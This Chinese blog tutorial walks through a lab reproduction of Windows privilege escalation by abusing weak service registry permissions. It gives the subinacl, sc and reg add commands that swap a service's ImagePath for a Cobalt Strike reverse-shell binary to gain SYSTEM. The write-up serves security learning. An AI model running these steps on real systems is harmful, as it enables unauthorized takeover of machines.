[权限提升] Windows 提权 维持 — 系统错误配置提权 - 注册表权限配置错误提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:注册表权限配置错误提权原理
通常 Windows 中的服务都是以 System 权限运行的,而 Windows 的服务程序的启动路径又是存放在注册表中的,若注册表配置不当,导致低权限用户可以更改注册表项时,就可能造成提权漏洞。
攻击者可以通过修改注册表中服务的 imagepath 值,将其替换为恶意程序路径,当服务重新启动时即会以 System 权限执行恶意程序,导致提权:
0x02:注册表权限配置错误提权环境配置
复现环境
靶机 Windows 7:IP 192.168.0.132
攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端
攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境
0x0201:创建 Windows 服务程序
以 Administrator 系统最高管理员身份登录 Windows 7 靶机中,打开 CMD 窗口,输入下面的命令创建一个 WIndows 服务程序:
# 随便创建的,testServer.exe 其实不存在
sc create testService binpath= "C:\testServer.exe"
0x0202:查询系统服务信息 - 通过注册表
然后我们来注册表中查询一下我们上面创建的这个服务的信息。按住 Win + R,在打开的 “运行” 窗口中输入 regedit
来打开注册表:
定位注册表中的下面这个路径,这个路径就是存放 Windows 服务信息的:
HKEY_LOCAL_MACHINE\system\ControlSet001\services
在上面这个路径中找到我们刚刚通过命令行创建的 testService 服务:
如上,成功找到,说明我们服务创建的没问题。
0x0203:授予低权限用户注册表编辑权限
1. 授予低权限用户注册表编辑权限 — 图形化方式
右击上面找到的 testService 服务的文件夹,然后按照下面的图片,给 Users 普通用户组授予对 testService 服务的完全控制权限:
2. 授予低权限用户注册表编辑权限 — 命令行方式
工具获取:subinacl.zip
以命令行方式授权需要用到 subinacl 工具,将工具上传到靶机,并在工具的同级目录下打开 CMD 窗口输入以下命令即可授予 Users 用户组对 testService 服务的完全控制权:
subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService" /grant=Users=f
执行完上面的命令后,你要是去查看注册表,会发现 testService 服务的权限中,Users 用户组被授予了 “完全控制权限”,证明我们上面的命令有效:
0x03:注册表权限配置错误提权漏洞复现
0x0301:拿到靶机低权限用户 Shell
首先让靶机中的一个低权限用户上线 CS,这里笔者是通过 CS 制作 Windows 后门程序,让靶机中的 test01 用户上线了,该用户属于 Users 用户组,是一个普通权限的用户:
如上,拿到靶机中的一个低权限用户 Shell,下面我们开始通过 “注册表权限配置错误漏洞” 进行提权。
0x0302:获取靶机中所有的服务
输入下面的命令,获取靶机中的所有服务信息:
sc query type= all state= all |findstr /i service_name.* |more
0x0303:使用 subinacl 查询服务权限
工具获取:subinacl.zip
将 subinacl 上传到靶机上,然后我们开始一个一个的查询服务的权限,笔者以最后两个服务为例(WwanSvc 与 testService):
# 查询 WwanSvc 服务的权限
subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\WwanSvc" /display
然后查询 testService 服务信息:
subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService" /display
如上,我们查询到针对 testService 服务,本地的 Users 用户组,具有完全控制权限,恰巧,我们拿到的用户就是 Users 用户组中的成员。
0x0304:查询注册表中服务的 imagepath 值
输入下面的命令,查找注册表中 testService 服务的 imagepath 值,即该服务的启动程序的路径:
reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService /v imagepath
0x0305:替换注册表中服务的 imagepath 值
输入下面的命令,将注册表中 testService 服务的启动程序路径替换为我们的恶意程序(通过 CS 生成的 Windows 反弹 Shell 的木马程序)路径:
reg add "HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\test01\Desktop\artifact.exe" /f
输入下面的命令查询一下 testService 服务的 imagepath 信息是否被修改:
reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService /v imagepath
如上,可以看到,注册表中的 testService 服务的启动程序路径已经被我们修改了,接下来,我们只要等待管理员启动服务即可提权(要是设置服务为开机自启,就只需要等待电脑重启就能拿到高权限了)。
0x0306:等待管理员启动服务 & 提权
我们以 Administrator 登录 Windows 7 靶机中,输入下面的命令,手动以管理员权限启动 testService 服务,同时留意 CS 中的信息:
sc start testService
如上,当管理员运行 testService 服务时,靶机成功以 SYSTEM 权限上线 CS,提权成功。